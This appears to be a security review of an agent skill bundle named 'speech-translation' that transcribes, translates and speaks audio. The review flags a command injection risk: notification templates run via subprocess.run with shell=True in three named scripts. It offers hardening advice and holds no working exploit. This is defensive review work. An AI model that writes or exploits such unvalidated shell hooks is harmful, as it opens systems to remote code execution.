speech-translation

Build, adapt, or run an audio-processing workflow that takes spoken audio, transcribes it with Whisper or faster-whisper, translates the transcript using the...

This skill appears to do exactly what it says: local transcription, translation orchestration, and TTS. Before installing or running it: 1) Only configure notification command templates (or environment variables that set them) from trusted sources — the notifier code executes those commands with shell=True and may run arbitrary processes. 2) Prefer the provided mock senders for testing to avoid accidental data leaks. 3) Run the pipeline in a sandbox or isolated environment if you plan to use service backends or custom command hooks. 4) Validate any translation_service_url you provide and avoid pointing it to untrusted endpoints. 5) Keep the external piper binary and Python dependencies installed from trusted channels. If you want, I can point to the exact lines where subprocess.run with shell=True and unescaped formatting is used so you can review or harden them.

Type: OpenClaw Skill Name: speech-translation Version: 1.0.0 The skill bundle contains multiple instances of potential command injection vulnerabilities where external commands are executed via `subprocess.run(..., shell=True)` using templates provided by environment variables or CLI arguments (specifically in `scripts/send_audio.py`, `scripts/send_text.py`, and `scripts/voice_translate_app/notifier.py`). While these are designed as notification hooks for the translation pipeline, the lack of strict validation on the command templates poses a significant RCE risk. However, the code logic and agent instructions in `SKILL.md` appear consistent with the stated purpose of audio processing and translation, with no clear evidence of intentional malice or data exfiltration.